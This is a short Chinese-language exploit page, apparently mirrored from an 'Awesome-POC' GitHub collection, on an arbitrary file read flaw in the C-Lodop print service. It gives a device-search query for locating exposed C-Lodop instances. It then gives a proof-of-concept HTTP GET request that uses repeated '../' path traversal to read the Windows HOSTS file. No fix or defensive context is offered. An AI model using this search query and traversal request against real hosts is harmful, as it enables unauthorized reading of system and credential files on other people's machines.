mirror of
https://github.com/Threekiii/Awesome-POC.git
synced 2025-11-07 11:58:05 +00:00
23 lines
364 B
Markdown
23 lines
364 B
Markdown
|
# C-Lodop打印机任意文件读取漏洞
|
|||
|
|
|
|||
|
|
## 漏洞描述
|
|||
|
|
|
|||
|
|
C-Lodop打印机存在任意文件读取漏洞，通过构造特殊URL，可实现读取系统任意文件。
|
|||
|
|
|
|||
|
|
## 网络测绘
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
title="C-Lodop"
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
## 漏洞复现
|
|||
|
|
|
|||
|
|
poc：
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
GET /../../../../../../../../windows/System32/drivers/etc/HOSTS HTTP/1.1
|
|||
|
|
Host: 127.0.0.1
|
|||
|
|
....
|
|||
|
|
```
|
|||
|
|
|